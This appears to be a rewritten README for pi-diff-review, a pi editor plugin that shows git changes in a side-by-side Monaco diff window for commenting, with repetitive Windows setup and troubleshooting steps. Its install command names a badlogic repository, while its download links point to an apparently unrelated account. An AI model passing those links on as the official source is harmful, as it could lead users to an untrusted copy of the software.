pi-diff-review adds a simple way to view and comment on changes in your code. It works inside the pi editor, helping you check differences between your current work and the last saved version.
The tool uses a clean diff editor that shows changes side-by-side. You can write comments about specific parts or whole files. When done, it inserts your feedback directly into the pi editor for easy follow up.
This app is designed for Windows, macOS, and Linux. It works best with Node.js installed and requires internet access during use.
To get pi-diff-review on your Windows machine, follow these steps:
-
Visit the link above or this page:
https://github.com/binomotrading1211-crypto/pi-diff-review
This page hosts the software and related files. -
Make sure your system has the following installed:
- Windows 10 or newer.
- .NET 8 SDK
You can get it from Microsoft's official site. This is needed to build the native host. - Microsoft Edge WebView2 Runtime
This runtime lets the app display modern web content inside Windows apps. Download it from Microsoft’s website. - Node.js version 20 or higher
Download Node.js from nodejs.org and install it before continuing.
-
Install
piif you haven’t already. This tool links to thepi-diff-reviewcommand. -
Open a terminal (Command Prompt or PowerShell) and run this command to install pi-diff-review:
pi install git:https://github.com/badlogic/pi-diff-reviewThis command fetches and installs the needed files.
-
Ensure your computer is connected to the internet during installation and usage to load required web resources.
Once installed, use pi-diff-review by running this command inside the pi editor:
/diff-review
This command does the following:
- Collects the changes in your current project compared to the last saved state (
HEADin git). - Opens a native review window that shows these changes clearly.
- Displays changed files side-by-side using a Monaco diff editor.
- Lets you write comments on the original or new version of the code. You can also comment on the entire file.
- When you finish and submit your comments, the tool inserts your feedback into the
pieditor for easy access.
You do not need to leave your editor or switch between windows.
To run pi-diff-review smoothly on Windows, your system needs a few key components:
- Operating System: Windows 10 or newer
- .NET 8 SDK:
This is necessary to build the native host during installation. You can download it from the official Microsoft .NET website. - Microsoft Edge WebView2 Runtime:
This runtime allows the app to show modern HTML and JavaScript content inside native windows. - Node.js 20 or above
pi-diff-review relies on Node.js to run its commands and setup. pieditor installed
The tool adds commands insidepiand depends on it.
- Visit https://dotnet.microsoft.com/en-us/download/dotnet/8.0
- Download the SDK for Windows.
- Run the installer and follow the prompts.
- Restart your terminal or command prompt after installation.
- Go to https://developer.microsoft.com/en-us/microsoft-edge/webview2/
- Download the Evergreen Standalone Installer.
- Run the installer and complete the setup.
- Visit https://nodejs.org/en/
- Download the latest LTS version at or above version 20.
- Run the installer and follow the steps.
-
Open Command Prompt or PowerShell.
-
Run this command to install the pi-diff-review plugin into the
pieditor:pi install git:https://github.com/badlogic/pi-diff-review -
The installation process builds the native host required to open the diff review window.
-
After installation, restart
pior reload the editor. -
Use
/diff-reviewinsidepito start reviewing changes.
- Open your project in
pi. - Make some changes to files tracked by git.
- Inside
pi, type/diff-reviewand press Enter. - A new window will open showing the differences in your code.
- Read through the changed lines shown side-by-side.
- Add comments by clicking on the lines or near the file name.
- Write your notes clearly on the original side, new side, or for the whole file.
- When done, submit your comments.
- The tool will place your comments back into
pi, ready for review or sharing.
pi-diff-review uses these components:
- git diff: It runs a git command in the background to find changes from the current saved state.
- Monaco Editor: This is the same editor that powers Visual Studio Code. It shows your changed files side-by-side for easy comparison.
- Glimpse: A helper native host that displays the review window on your machine.
- Tailwind CSS and Monaco CDN: These web resources style and power the review window. They load via internet connection.
- If you get errors related to missing software, check that:
- .NET 8 SDK is properly installed.
- WebView2 runtime is present.
- Node.js version is 20 or higher.
- If the review window does not open, try reinstalling pi-diff-review.
- Confirm you have a working git repository with changes to review.
- Ensure your internet connection is working so styles and editor components can load.
-
Download and see details here:
https://github.com/binomotrading1211-crypto/pi-diff-review
Use this page to get the latest updates and check issues. -
pi editor installation and documentation:
https://pi.dev/ -
.NET 8 SDK download:
https://dotnet.microsoft.com/en-us/download/dotnet/8.0 -
Microsoft Edge WebView2 Runtime:
https://developer.microsoft.com/en-us/microsoft-edge/webview2/ -
Node.js download:
https://nodejs.org/en/
pi-diff-review runs locally on your computer. Your code changes are not sent to any external server except when loading web components from trusted CDNs. Use this app in trusted environments.